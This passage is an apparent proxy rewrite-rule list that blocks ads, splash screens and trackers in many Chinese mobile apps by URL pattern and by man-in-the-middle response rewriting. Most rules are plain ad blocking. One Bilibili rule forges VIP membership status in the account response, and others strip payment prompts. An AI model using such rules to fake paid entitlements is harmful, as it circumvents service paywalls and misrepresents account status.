+^https?:\/\/mime\.baidu\.com\/sapi\/v1\/lccorpus\/(applist|pannellist) reject-dict +# 输入法点击图标 +^https?:\/\/mime\.baidu\.com\/sapi\/v1\/circle\/joinedlist reject-dict +^https?:\/\/mime\.baidu\.com\/commer\/pocket_api\/enterprise_list reject-dict +^https?:\/\/mbd\.baidu\.com\/ccs\/v1\/start\/confsync\?appname=baidu_input reject-dict + +# > 百度网盘 +# hostname = pan.baidu.com, ndstatic.cdn.bcebos.com, staticsns.cdn.bcebos.com, issuecdn.baidupcs.com, update.pan.baidu.com, fc-video.cdn.bcebos.com, rp.hpplay.cn +^https?:\/\/pan\.baidu\.com\/rest\/\d\.\d\/pcs\/adx reject +^https?:\/\/pan\.baidu\.com\/rest\/2\.0\/pcs\/ad reject +^https?:\/\/pan\.baidu\.com\/act\/v\d\/(bchannel|welfare)\/list reject +^https?:\/\/pan\.baidu\.com\/act\/api\/activityentry reject +^https?:\/\/pan\.baidu\.com\/pmall\/order\/privilege\/info reject +^https?:\/\/pan\.baidu\.com\/rest\/.+\/pcs\/adx reject +^https?:\/\/pan\.baidu\.com\/api\/useractivity\/activity reject +^https?:\/\/pan\.baidu\.com\/act\/.+\/bchannel\/list reject +^https?:\/\/pan\.baidu\.com\/api\/certuser\/get reject +^https?:\/\/pan\.baidu\.com\/component\/view\/(1510|1130)\?vip reject +^https?:\/\/ndstatic\.cdn\.bcebos\.com\/activity\/welfare\/js\/.+\.js reject +^https?:\/\/ndstatic\.cdn\.bcebos\.com\/activity\/welfare\/index\.html reject +^https?:\/\/staticsns\.cdn\.bcebos\.com\/amis\/.+/banner.png reject +^https?:\/\/issuecdn\.baidupcs\.com\/issue\/netdisk\/guanggao reject +^https?:\/\/update\.pan\.baidu\.com\/statistics reject +^https?:\/\/fc-video\.cdn\.bcebos\.com reject +^https?:\/\/rp\.hpplay\.cn\/logouts reject + +# > 百度翻译 +# hostname = mime.baidu.com +^https?:\/\/mime\.baidu\.com\/v\d\/IosStart\/getStartInfo reject +^https?:\/\/mime\.baidu\.com\/v\d\/activity\/advertisement reject + +# > 百度文库 +# hostname = appwk.baidu.com +^https?:\/\/appwk\.baidu\.com\/xpage\/interface\/wknaad reject-200 + +# > 百度 +# hostname = www.baidu.com, fcvbjbcebos.baidu.com, cover.baidu.com, baichuan.baidu.com, api*.tuisong.baidu.com, afd.baidu.com, mobads.baidu.com, issuecdn.baidupcs.com, update.pan.baidu.com, sa*.tuisong.baidu.com, m.baidu.com, sofire.baidu.com +^https?:\/\/fcvbjbcebos\.baidu\.com\/.+.mp4 reject +^https?:\/\/fcvbjbcebos\.baidu\.com\/.+?\.mp4 reject-img +^https?:\/\/cover\.baidu\.com\/cover\/page\/dspSwitchAds\/ reject +^https?:\/\/baichuan\.baidu\.com\/rs\/adpmobile\/launch reject +^https?:\/\/api\d\.tuisong\.baidu\.com reject-img +^https?:\/\/afd\.baidu\.com\/afd\/entry reject +^https?:\/\/als\.baidu\.com\/clog\/clog reject +^https?:\/\/mobads\.baidu\.com\/cpro\/ui\/mads.+ reject +^https?:\/\/issuecdn\.baidupcs\.com\/issue\/netdisk\/guanggao\/ reject-200 +^https?:\/\/[\s\S]*\.baidu\.com/.*?ad[xs]\.php reject-img +^https?:\/\/t\d{2}\.baidu\.com reject-img +^https?:\/\/log.+?baidu\.com reject +^https?:\/\/sa\d\.tuisong\.baidu\.com reject-img +^https?:\/\/www.baidu.com\/?action=static&ms=1&version=css_page_2@0.*? reject + +# > 百信银行 +# hostname = mres.aibank.com +^https?:\/\/mres\.aibank\.com\/app\/resource\/cim\/cim0000001\/.+\.jpg reject-200 + +# > 哔哩哔哩 +# hostname = app.bilibili.com, api.bilibili.com, api.live.bilibili.com, grpc.biliapi.net +^https:\/\/api\.live\.bilibili\.com\/xlive\/e-commerce-interface\/v1\/ecommerce-user\/get_shopping_info\? reject-dict +^https:\/\/ap[ip]\.bilibili\.com\/x\/(?:resource\/(?:top\/activity|patch\/tab)|v2\/search\/square|vip\/ads\/materials)\? mock-response-body data-type=text status-code=200 data="{"code":-404,"message":"-404","ttl":1,"data":null}" +^https:\/\/api\.bilibili\.com\/pgc\/activity\/deliver\/material\/receive\? mock-response-body data-type=text status-code=200 data="{"code":0,"data":{"closeType":"close_win","container":[],"showTime":""},"message":"success"}" +^https:\/\/(?:grpc\.biliapi\.net|app\.bilibili\.com)\/bilibili\.app\.interface\.v1\.Teenagers\/ModeStatus$ mock-response-body data-type=base64 data="AAAAABMKEQgCEgl0ZWVuYWdlcnMgAioA" mock-data-is-base64=true +^https:\/\/(?:grpc\.biliapi\.net|app\.bilibili\.com)\/bilibili\.app\.interface\.v1\.Search\/DefaultWords$ mock-response-body data-type=base64 data="AAAAACkaHeaQnOe0ouinhumikeOAgeeVquWJp+aIlnVw5Li7IgAoAToAQgBKAA==" mock-data-is-base64=true +^https:\/\/(?:grpc\.biliapi\.net|app\.bilibili\.com)\/bilibili\.app\.view\.v1\.View\/TFInfo$ mock-response-body data-type=base64 data="AAAAAAIIAQ==" mock-data-is-base64=true + +^https:\/\/api\.bilibili\.com\/pgc\/view\/v2\/app\/season\? response-body-json-jq 'del(.data.payment)' +^https:\/\/api\.bilibili\.com\/pgc\/page\/(?:bangumi|cinema\/tab)\? response-body-json-jq '.result.modules |= if . then map(if (.style | startswith("tip")) or (.module_id | IN(241, 1283, 1441, 1284)) then .items = [] elif .style | startswith("banner") then .items |= if . then map(select(.link | contains("play"))) else [] end elif .style | startswith("function") then .items |= if . then map(select(.blink | startswith("bilibili"))) else [] end end) end' +^https:\/\/api\.live\.bilibili\.com\/xlive\/(?:app-interface\/v2\/index\/feed|app-room\/v1\/index\/getInfoBy(?:Room|User))\? response-body-json-jq '.data |= (del(.play_together_info, .play_together_info_v2, .activity_banner_info) | if .function_card then .function_card[] = null end | if .new_tab_info.outer_list then .new_tab_info.outer_list |= map(select(.biz_id != 33)) end | if .card_list then .card_list |= map(select(.card_type | IN("banner_v2", "activity_card_v1") | not)) end | reduce ([["show_reserve_status"], false], [["reserve_info", "show_reserve_status"], false], [["shopping_info", "is_show"], 0]) as [$path, $value] (.; if getpath($path) then setpath($path; $value) end))' + +^https:\/\/app\.bilibili\.com\/x\/resource\/show\/skin\? response-body-json-del data.common_equip +^https:\/\/app\.bilibili\.com\/x\/resource\/show\/tab\/v2\? response-body-json-jq jq-path="https://raw.githubusercontent.com/kokoryh/Sparkle/refs/heads/master/jq/bilibili.tab.jq" +^https:\/\/app\.bilibili\.com\/x\/v2\/splash\/(?:list|show|event\/list2)\? response-body-json-jq '.data |= with_entries(if .key | IN("show", "event_list") then .value = [] else . end)' +^https:\/\/app\.bilibili\.com\/x\/v2\/feed\/index\? response-body-json-jq 'if .data.items then .data.items |= map(select((.banner_item == null) and (.ad_info == null) and (.card_goto == "av") and (.card_type | IN("small_cover_v2", "large_cover_single_v9", "large_cover_v1")))) end' +^https:\/\/app\.bilibili\.com\/x\/v2\/feed\/index\/story\? response-body-json-jq 'if .data.items then .data.items |= map(select((.ad_info == null) and (.card_goto | startswith("ad") | not)) | del(.story_cart_icon, .free_flow_toast)) end' +^https:\/\/app\.bilibili\.com\/x\/v2\/account\/mine(?:\/ipad)?\? response-body-json-jq jq-path="https://raw.githubusercontent.com/kokoryh/Sparkle/refs/heads/master/jq/bilibili.mine.jq" +^https:\/\/app\.bilibili\.com\/x\/v2\/account\/myinfo\? response-body-json-jq '.data.vip |= if . != null and .status == 0 then . + { status: 1, type: 2, due_date: 9005270400000, role: 15 } else . end' + +# > 哔哩哔哩漫画 +# hostname = manga.bilibili.com, i*.hdslb.com +^https?:\/\/i\d\.hdslb\.com\/bfs\/fawkes reject-dict +^https?:\/\/i\d\.hdslb\.com\/bfs\/manga-static\/\w+\.(jpg|png)$ reject-200 +^https?:\/\/manga\.bilibili\.com\/twirp\/comic\.v\d\.Comic\/(Recommend|Flash|ListFlash|GetBubbles|GetActivityTab|GetCommonBanner|GetComicConfigPicList) reject-200 +^https?:\/\/manga\.bilibili\.com\/twirp\/comic\.v\d\.Shop\/GetShopItems reject-dict +^https?:\/\/manga\.bilibili\.com\/twirp\/user\.v\d\.SeasonV\d\/GetSeasonInfo reject-dict +^https?:\/\/manga\.bilibili\.com\/twirp\/user\.v\d\.Read\/ActInfo reject-200 + +# > 北京首汽 +# hostname = gateway.shouqiev.com +^https?:\/\/gateway\.shouqiev\.com\/fsda\/app\/bootImage\.json reject + +# > 贝壳找房 +# hostname = apps.api.ke.com +^https?:\/\/apps\.api\.ke\.com\/config\/config\/(bootpage|getactivityconfig) reject + +# > 贝太厨房 +# hostname = channel.beitaichufang.com +^https?:\/\/channel\.beitaichufang\.com\/channel\/api\/v\d\/promote\/ios\/start\/page reject + +# > 菠萝包轻小说 +# hostname = api.sfacg.com +^https?:\/\/api\.sfacg\.com\/ioscfg reject + +# > 比特球云盘 +# hostname = pan-api.bitqiu.com +^https?:\/\/pan-api\.bitqiu\.com\/activity\/getPromoteGuide reject + +# > 比亚迪王朝APP +# hostname = cache.bydauto.com.cn +# 首页开屏 +^https:\/\/cache\.bydauto\.com\.cn\/dilink_user_upload\/20 reject-200 + +# > 币世界 +# hostname = iapi.bishijie.com +^https?:\/\/iapi\.bishijie\.com\/actopen\/advertising\/ reject + +# > 币安 +# hostname = www.binance.info, www.yingwangtech.net, www.binance.com +# 开屏广告 +^https?:\/\/www\.(binance|yingwangtech)\.(com|info|net)\/bapi\/composite\/v1\/public\/market\/holiday-atmosphere reject-dict + +# > 乐刻 +# hostname = lens.leoao.com +# 开屏广告 +^https?:\/\/lens\.leoao\.com\/lens\/conduct\/app\/rpc\/v2\/com\.lefit\.dubbo\.cms\.api\.front\.AppAdvertisingFrontService\/getAppAdvertisingNew reject-dict +^https?:\/\/lens\.leoao\.com\/lens\/conduct\/app\/rpc\/v2\/com\.lefit\.dubbo\.cms\.api\.bff\.ClientFrontFacade\/queryHomeMiddleInfo reject-dict +^https?:\/\/lens\.leoao\.com\/lens\/conduct\/app\/rpc\/v2\/com\.lefit\.dubbo\.cms\.api\.front\.AdvertiseConfigFrontService\/getAdvertiseConfigNew reject-dict + +# > 必胜客 +# hostname = res.pizzahut.com.cn +^https?:\/\/res\.pizzahut\.com\.cn\/CRM\/phad\/member\/app\/member reject-200 +^https?:\/\/res\.pizzahut\.com\.cn\/CRM\/phad\/apphome\/apphome reject + +# > 百视TV +# hostname = bp-api.bestv.com.cn, bp-image.bestv.com.cn +# 开屏广告 【Runestoner】分享 +^https?:\/\/bp-api\.bestv\.com\.cn\/cms\/api\/free\/open\/advertisingV2 reject +#(倒计时还在) +^https?:\/\/bp-image\.bestv\.com\.cn\/[a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{25}\.jpg reject-200 + +# > 波点音乐 +# hostname = bd-api.kuwo.cn, h5app.kuwo.cn, bodianimgcdn.kuwo.cn +# 开屏广告 感谢【林夕】分享 +^https?:\/\/bd-api\.kuwo\.cn\/api\/service\/finds\/module\?moduleId reject-dict +^https?:\/\/bd-api\.kuwo\.cn\/api\/service\/banner\/myPage\?uid reject-dict +^https?:\/\/bd-api\.kuwo\.cn\/api\/play\/listening\/entrance\/music\?musicId reject-dict +^https?:\/\/h5app\.kuwo\.cn\/m\/kwtemplatePage\/index\.html\?id=1157&app=bodianhdzx reject-dict +^https?:\/\/h5app\.kuwo\.cn\/m\/bdvipact2205\/index\.html\?fromsrc=huodong reject-dict +^https?:\/\/bodianimgcdn\.kuwo\.cn\/images\/0e83c1821cd2681de08e20bec73d1e75 reject-dict +^https?:\/\/bodianimgcdn\.kuwo\.cn\/images\/198c0b313fe9e53b03240c7b30b4acc9 reject-dict + +# > 薄荷健康 +# hostname = api.boohee.com, bohe.sfo-tx-shanghai-01.saas.sensorsdata.cn, lego.boohee.com, status.boohee.com +# 感谢【可莉】分享 +# 记录 悬浮部件 +^https:\/\/api\.boohee\.com\/meta-interface\/v1\/index\/page_float_bubbles\? reject-dict +# 记录 发布 +^https:\/\/api\.boohee\.com\/meta-interface\/v1\/index\/tool_buttons\? reject-dict +# 记录 搜索发现 +^https:\/\/api\.boohee\.com\/app-interface\/v1\/search\/search\? reject-dict +# 记录 消息 通知 横幅推广 +^https:\/\/status\.boohee\.com\/api\/v1\/merged_messages$ reject-dict +# 弹窗配置 +^https:\/\/bohe\.sfo-tx-shanghai-01\.saas\.sensorsdata\.cn\/api\/v2\/sfo\/user_popup_configs\? reject-dict +# 绑定设备 横幅推广 +^https:\/\/api\.boohee\.com\/meta-interface\/v1\/index\/sensor-banners\? reject-dict + + + +# >>>>>>>>>>>>>>> ✅ C ✅ <<<<<<<<<<<<<< +# > clicli +# hostname = js-ad.ayximgs.com +^https?:\/\/js-ad\.ayximgs\.com\.ad-universe-cdn\.hzhcbkj\.cn\/xgapp\.php\/v2\/top_notice reject + +# > csdn +# hostname = app-gw.csdn.net, gw.csdn.net +# 感谢【Jörgen Frecht】分享 +^https?:\/\/app-gw\.csdn\.net\/silkroad-api\/api\/v\d\/assemble\/list\/pub\/channel\/app_open_screen_ad reject +^https?:\/\/app-gw\.csdn\.net\/abtesting\/v2\/getList? reject +^https?:\/\/gw\.csdn\.net\/cms-app\/v\d+\/home_page\/open_advertisement reject + +# > crunchyroll +# hostname = beta-api.crunchyroll.com +^https?:\/\/beta-api\.crunchyroll\.com\/cms response-body-replace-regex offset_ms":\d+ offset_ms":99999999999999 + +# > 彩云天气 +^https?:\/\/api\.caiyunapp\.com\/v1\/activity reject-dict + +# > 菜鸟裹裹 +# hostname = cn-acs.m.cainiao.com, amdc.m.taobao.com +# 首页 好物推荐,商品推广,底部标签页,快递详情页,问卷调查,主页图标 +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.adkeyword\.get\.cn reject-dict +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.cncommunity\.my\.station\.query\.cn reject-dict +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.guoguo\.nbnetflow\.ads\.(batch\.show\.v2|index)\.cn reject-dict +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.nbopen\.miniapp\.recommend\.cpc\.cn reject-dict +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.nbmensa\.research\.researchservice\.(acquire|event|close)\.cn reject-dict +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.nbpresentation\.(homepage\.merge|tabbar\.marketing)\.get\.cn reject-dict +# 发现页 数字角标 裹裹券 +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.com\.cainiao\.cnactivitycenter reject-dict +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.com\.cainiao\.cncreditmarket\.hit\.getactivityhit\.cn reject-dict +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.com\.cainiao\.longquan\.place\.getpageresourcecontent\.cn reject-dict +# 支付宝-菜鸟 +^https?:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.cainiao\.guoguo\.nbnetflow\.ads reject + +# > 超星学习通 +# hostname = learn.chaoxing.com +^https?:\/\/learn\.chaoxing\.com\/apis\/service\/appConfig\? reject + +# > 长城炼金术 +# hostname = fintechappdr.cgws.com +# 感谢【Joe Joy】分享 +^https?:\/\/fintechappdr\.cgws\.com\/api\/business-operation\/app\/a\/flash\/window\/get\?type=2 reject-dict + +# > 曹操专车 +# hostname = ptmpcap.caocaokeji.cn, cap.caocaokeji.cn +^https?:\/\/ptmpcap\.caocaokeji\.cn\/advert-bss\/ reject-img +^https?:\/\/cap\.caocaokeji\.cn\/advert-bss\/ reject + +# > 车来了 +# hostname = pic1.chelaile.net.cn, api.chelaile.net.cn, atrace.chelaile.net.cn, web.chelaile.net.cn, cdn.*.chelaileapp.cn +^https?:\/\/pic1\.chelaile\.net\.cn\/adv\/ reject +^https?:\/\/(api|atrace)\.chelaile\.net\.cn\/adpub\/ reject +^https?:\/\/api\.chelaile\.net\.cn\/goocity\/advert\/ reject +^https?:\/\/atrace\.chelaile\.net\.cn\/adpub\/ reject-img +^https?:\/\/atrace\.chelaile\.net\.cn\/exhibit\?&adv_image reject-img +^https?:\/\/web\.chelaile\.net\.cn\/api\/adpub\/ad reject +^https?:\/\/cdn\.\w{3}\.chelaileapp\.cn\/(api\/)?adpub reject + +# > 超级课程表 +# hostname = 182.92.244.70, ad.myfriday.cn +# 开屏广告 由【jinlvei】分享 +^https?:\/\/182\.92\.244\.70\/d\/json reject-dict +http:\/\/ad\.myfriday\.cn\/d\/json\/1\.1 reject + +# > 潮玩宇宙 +# hostname = ios-api.lucklyworld.com +# 开屏广告 +^https?:\/\/ios-api\.lucklyworld\.com\/v6\/api\/config\/startup reject-dict + +# > 财联社 +# hostname = api3.cls.cn +^https?:\/\/api3\.cls\.cn\/v1\/boot\/ad reject + +# > 财经杂志 +# hostname = api.caijingmobile.com +^https?:\/\/api\.caijingmobile\.com\/(ad|advert)\/ reject + +# > 刺猬猫阅读 +# hostname = app.hbooker.com +^https?:\/\/app\.hbooker\.com\/setting\/get_startpage_url_list reject + +# > 创客贴设计 +# hostname = gw.chuangkit.com +^https:\/\/gw\.chuangkit\.com\/team\/app\/common\/ad\/ reject-dict + + + +# >>>>>>>>>>>>>>> ✅ D ✅ <<<<<<<<<<<<<< +# > DJI Store (大疆商城) +# hostname = se-api.djiits.com +# 去开屏广告 +^https:\/\/se-api\.djiits\.com\/api\/components\/launch_ad\.json\?abbrv_url=1&country=cn&language=zh-CN reject-dict + +# > 大麦 +# hostname = acs.m.taobao.com, amdc.m.taobao.com +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.damai\.wireless\.home\.welcome reject-200 +^https?:\/\/amdc\.m\.taobao\.com\/amdc\/mobileDispatch\?appkey=23782110 reject + +# > 大师兄 +# hostname = sdk.alibaba.com.ailbaba.me, adservice.sigmob.cn +^https?:\/\/sdk\.alibaba\.com\.ailbaba\.me\/xgapp\.php\/v\d\/version reject-200 +^https?:\/\/sdk\.alibaba\.com\.ailbaba\.me\/xgapp\.php\/v\d\/advert\?position=[^2]+ reject-200 +^https?:\/\/sdk\.alibaba\.com\.ailbaba\.me\/xgapp\.php\/v\d\/top_notice\? reject-200 +^https?:\/\/sdk\.alibaba\.com\.ailbaba\.me\/(dsx|xgapp)\.php\/v\d\/(top_notice\?|version|advert\?position=[^2]+) reject-200 +^https?:\/\/adservice\.sigmob\.cn\/extconfig response-body-replace-regex false true + +# > 大智慧 +# hostname = ssp.dzh.com.cn +^https?://ssp\.dzh\.com\.cn/v2api/adgroupjson reject + +# > 达达骑士版 +# hostname = delivery-api.imdada.cn +# 开屏广告,弹窗广告,首页置顶轮播广告 感谢【T大G】分享 +^https?:\/\/delivery-api\.imdada\.cn\/v2_0\/dada\/promote\/imax\?privacyParam reject-dict +^https?:\/\/delivery-api\.imdada\.cn\/v1_0\/transporter\/screen\/ads_list reject-dict +^https?:\/\/delivery-api\.imdada\.cn\/v1_0\/transporter\/ad reject-dict + +# > 动卡空间 +# hostname = ump.sz.creditcard.ecitic.com, m.creditcard.ecitic.com +# 开屏广告 +^https?:\/\/ump\.sz\.creditcard\.ecitic\.com\/citiccard\/cm-ump\/ump-gateway\/ump-net-app\/ump-net-app\/adv reject-dict +^https?:\/\/m\.creditcard\.ecitic\.com\/citiccard\/mbk\/appspace-getway\/getWay\/dkkj-system-web\/system\/v\d\/init-config reject-200 + +# > 到梦空间 +# hostname = appdmkj.5idream.net +# 开屏广告 感谢【企鹅】分享 +^https?:\/\/appdmkj\.5idream\.net\/appPic\/homepage reject-dict +# 更新弹窗 感谢【企鹅】分享 +^https?:\/\/appdmkj\.5idream\.net\/v2\/login\/message\/tip reject-dict +# 我的页面广告 +^https?:\/\/appdmkj\.5idream\.net\/v3\/user\/advertising\/list reject-dict + +# > 低端影视 +# hostname = img.ddrk.me, ddrk.me +^https?:\/\/img\.ddrk\.me\/ad190824 reject-img +^https?:\/\/img\.ddrk\.me\/cover\.png reject-img +^https?:\/\/ddrk\.me\/image\/logo_footer\.png reject-img +^https?:\/\/ddrk\.me\/wp-content\/plugins\/advanced-floating-content-lite\/public\/images\/close\.png reject-img + +# > 豆瓣 +# hostname = api.douban.com +# 如开启可自行添加主机名 img*.douban.com, frodo.douban.com, erebor.douban.com +^https?:\/\/api\.douban\.com\/v\d\/app_ads\/ reject-dict +^https?:\/\/api\.douban\.com\/b.*\/common_ads\?.* reject-dict +^https?:\/\/img\d\.doubanio\.com\/view\/dale-online\/dale_ad\/ reject +^https?:\/\/frodo\.douban\.com\/api\/v2\/movie\/banner reject +^https?:\/\/erebor\.douban\.com\/count\/\?ad= reject + +# > 斗鱼直播 +# hostname = daoyu.sdo.com, rtbapi.douyucdn.cn, staticlive.douyucdn.cn, capi.douyucdn.cn, douyucdn.cn +^https?:\/\/daoyu\.sdo\.com\/api\/userCommon\/getAppStartAd reject +^https?:\/\/rtbapi\.douyucdn\.cn\/japi\/sign\/app\/getinfo reject-dict +^https?:\/\/staticlive\.douyucdn\.cn\/upload\/signs\/ reject +^https?:\/\/staticlive\.douyucdn\.cn\/.+\/getStartSend reject +^https?:\/\/staticlive\.douyucdn\.cn\/.+?\/getStartSend reject-img +^https?:\/\/capi\.douyucdn\.cn\/lapi\/sign\/app(api)?\/getinfo\?client_sys=ios reject +^https?:\/\/capi\.douyucdn\.cn\/api\/ios_app\/check_update reject-img +^https?:\/\/capi\.douyucdn\.cn\/api\/v1\/getStartSend?client_sys=ios reject-img +^https?:\/\/douyucdn\.cn\/.+\/appapi\/getinfo reject +^https?:\/\/douyucdn\.cn\/.+?\/appapi\/getinfo reject-img + +# > 当当阅读 +# hostname = e.dangdang.com, api.dangdang.com, mapi.dangdang.com +^https?:\/\/e\.dangdang\.com\/media\/api.+\?action=getDeviceStartPage reject +^https?:\/\/e\.dangdang\.com\/.+?getDeviceStartPage reject +^https?:\/\/api\.dangdang\.com\/mapi\d\/mobile\/init reject +^https?:\/\/mapi\.dangdang\.com\/index\.php\?action=init reject + +# > 叮咚买菜 +# hostname = maicai.api.ddxq.mobi, gw.api.ddxq.mobi, user.api.ddxq.mobi +# 开屏广告 +^https?:\/\/maicai\.api\.ddxq\.mobi\/advert\/ reject +# 首页弹窗 +^https?:\/\/maicai\.api\.ddxq\.mobi\/homeApi\/getHomeAdPop reject +# VIP开通弹窗 +^https?:\/\/maicai\.api\.ddxq\.mobi\/vip\/getVipAd reject-dict +# 首页悬浮窗 +^https?:\/\/maicai\.api\.ddxq\.mobi\/homeApi\/newDetails response-body-replace-regex suspension fmz200 +# 我的页VIP栏净化 +^https?:\/\/gw\.api\.ddxq\.mobi\/vip-app-service\/vip\/my\/page\/advertising reject +# 我的页弹窗(暂未启用) +^https:\/\/maicai\.api\.ddxq\.mobi\/homeApi\/queryMyPagePopup reject-dict +# 我的页-猜你喜欢 +^https?:\/\/maicai\.api\.ddxq\.mobi\/homeApi\/userLike reject-dict +# 购物车顶部VIP横条 +^https?:\/\/maicai\.api\.ddxq\.mobi\/cart\/vipGuide reject-dict +# 购物车-猜你喜欢 +^https?:\/\/maicai\.api\.ddxq\.mobi\/order\/getRecommend reject-dict + +# > 叮嗒出行 +# hostname = img.admobile.top, webcdn.m.qq.com +^https?:\/\/img\.admobile\.top\/admobile-adRequest\/.*.(jpg|png) reject-200 +^https?:\/\/webcdn\.m\.qq\.com\/qiantu\/upload\/202[0-9]{5}\/.*.(jpg|png) reject-200 + +# > 东方财富 +# hostname = emdcadvertise.eastmoney.com +^https?:\/\/emdcadvertise\.eastmoney\.com\/infoService\/v\d reject + +# 东方航空 +# hostname = app.ceair.com +^https?:\/\/app\.ceair\.com\/customize\/security\/update reject-200 +^https?:\/\/app\.ceair\.com\/customize\/main\/adScreen reject-dict + +# > 懂球帝 +# hostname = ap.dongdianqiu.com +#^https?:\/\/ap\.dongqiudi\.com\/plat\/v reject +^https?:\/\/ap\.dongdianqiu\.com\/plat\/v4 reject + +# > 丁香医生 +# hostname = dxy.com +^https?:\/\/dxy\.com\/app\/i\/ask\/biz\/feed\/launch reject + +# > 丁香园 +# hostname = dq.dxy.cn +^https?:\/\/dq\.dxy\.cn\/api\.php\?action=getpostbanners reject + +# > 钉钉 +# hostname = gw.alicdn.com, img.alicdn.com +# 误杀少 解决阿里系的开屏 目前测试咸鱼/钉钉 感谢【zzzzzz】分享 +^https?:\/\/(gw|img)\.alicdn\.com\/imgextra\/.+\/[\w!]+\d+-\d+-.+-\b([8-9]\d{2,}|[1-9]\d{3,})\b-\b([5-9]\d{2,}|[1-9]\d{3,})\b reject-dict + +# > 动画疯 +# hostname = api.gamer.com.tw +^https?:\/\/api\.gamer\.com\.tw\/mobile_app\/anime\/v\d\/anime_get_question\.php reject-dict + +# > 滴滴出行 +# hostname = res.xiaojukeji.com, common.diditaxi.com.cn, hd.xiaojukeji.com, freight.xiaojukeji.com, daijia.kuaidadi.com, ct.xiaojukeji.com, conf.diditaxi.com.cn +^https?:\/\/hd\.xiaojukeji\.com\/d reject-dict + +# > 滴滴青桔 +# hostname = pt-starimg.didistatic.com, omgup*.xiaojukeji.com +^https?:\/\/pt-starimg\.didistatic\.com\/static\/starimg\/node\/.*.(jpg|png|gif) reject-200 +^https?:\/\/omgup[0-9]{1}\.xiaojukeji\.com\/api reject-200 + +# > 滴滴代驾小程序 +# hostname = daijia.kuaidadi.com, as.xiaojukeji.com +# 横幅广告 +^https?:\/\/as\.xiaojukeji\.com\/ep\/as\/conf\?ns=daijia-front&name= reject-dict +^https?:\/\/daijia\.kuaidadi\.com\/gateway\?api=prado\.cms\.delivery\.batch&apiVe reject-dict + +# > 嘀嗒出行 +# hostname = capis*.didapinche.com, adx-cn.anythinktech.com, www.didapinche.com +# 小程序净化 +^https?:\/\/capis(-\d)?\.didapinche\.com\/adbase reject +^https?:\/\/capis(-\d)?\.didapinche\.com\/ad\/ reject +^https?:\/\/adx-cn\.anythinktech\.com\/bid reject-dict +^https?:\/\/capis(-?\w*)?\.didapinche\.com\/publish\/api\/upgrade reject-dict +^https?:\/\/www\.didapinche\.com\/app\/adstat\/ reject-200 + +# > 得物 +# 开屏广告 【Runestoner】分享 +^https?:\/\/app\.dewu\.com\/api\/v1\/app\/advertisement reject +^https?:\/\/cdn\.poizon\.com\/node-common\/.*.jpg reject-200 + +# > 电E宝 +# hostname = app.95598pay.com +^https?:\/\/app\.95598pay\.com\/debapi\/adsite\/ reject-200 + +# > 电视家 +# hostname = api.gaoqingdianshi.com, cdn.dianshihome.com +^https?:\/\/api\.gaoqingdianshi\.com\/api\/v\d\/ad\/ reject +^https?:\/\/cdn\.dianshihome\.com\/static\/ad\/ reject + +# > 盯盯拍 +# hostname = *.pglstatp-toutiao.com, api.htp.ad-scope.com.cn, appgw.ddpai.com, init.sms.mob.com, apphw.ddpai.com +^https?:\/\/.*\.pglstatp-toutiao\.com\/.*ad.* reject +^https?:\/\/api\.htp\.ad-scope\.com\.cn.* reject +^https?:\/\/appgw\.ddpai\.com.*\/ad\/list.* reject +^https?:\/\/init\.sms\.mob\.com\/.*sdk\/init.* reject +^https?:\/\/apphw\.ddpai\.com:\d+\/onroad\/api\/v\d\/\w+\/list reject-dict + + + +# >>>>>>>>>>>>>>> ✅ E ✅ <<<<<<<<<<<<<< +# > e代驾 +# hostname = pic.edaijia.cn +^https?:\/\/pic\.edaijia\.cn\/adsplash\/ reject-200 + +# > e充电 +# hostname = cdn-evone-ceph.echargenet.com +^https?:\/\/cdn-evone-ceph\.echargenet\.com\/gw-emas-cdn\/63c4e3b558bb610008969f89 reject-200 + +# > 饿了么 +# hostname = elemecdn.com, fuss10.elemecdn.com, cube.elemecdn.com, www1.elecfans.com, nr-op.elemecdn.com +# 开屏广告 +^https?:\/\/elemecdn\.com\/.+\/sitemap reject +^https?:\/\/fuss10\.elemecdn\.com\/.+\/w\/640\/h\/\d{3,4} reject +^https?:\/\/fuss10\.elemecdn\.com\/.+\/w\/750\/h\/\d{3,4} reject +^https?:\/\/fuss10\.elemecdn\.com\/.+?\.mp4 reject-img +^https?:\/\/cube\.elemecdn\.com\/[\w\/]+\.jpeg\?x-oss-process=image\/resize,m_fill,w_1\d{3},h_2\d{3}\/format,webp\/ reject +^https?:\/\/cube\.elemecdn\.com\/[\w\/]+\.jpeg\?x-oss-process=image\/resize,m_fill,w_6\d{2},h_8\d{2}\/format,webp\/ reject +^https?:\/\/cube\.elemecdn\.com\/[\w\/]+\.jpeg\?x-oss-process=image\/resize,m_fill,w_\d{3},h_\d{4}\/format,webp\/ reject +^https?:\/\/cube\.elemecdn\.com\/\w\/\w{2}\/\w+mp4\.mp4\? reject +^https?:\/\/www1\.elecfans\.com\/www\/delivery\/ reject +^https?:\/\/(nr-op|cube)\.elemecdn\.com\/.+\.jpeg\?x-oss-process=image\/resize,m_fill,w_\d{4,},h_\d{4,}\/($|format,webp\/$) reject + + + +# >>>>>>>>>>>>>>> ✅ F ✅ <<<<<<<<<<<<<< +# > 飞猪 + 阿里巴巴 +# hostname = acs.m.taobao.com, gw.alicdn.com +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.fliggy\.crm\.screen\.(allresource|predict) reject-dict +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.trip\.activity\.querytmsresources\/1\.0\?type=originaljson reject-img +^https?:\/\/gw\.alicdn\.com\/mt\/ reject +^https?:\/\/gw\.alicdn\.com\/imgextra\/\w{2}\/[\w!]+-\d-tps-\d{3}-\d{4}\.(jpg|png)$ reject + +# > 飞常准 +# hostname = app.variflight.com 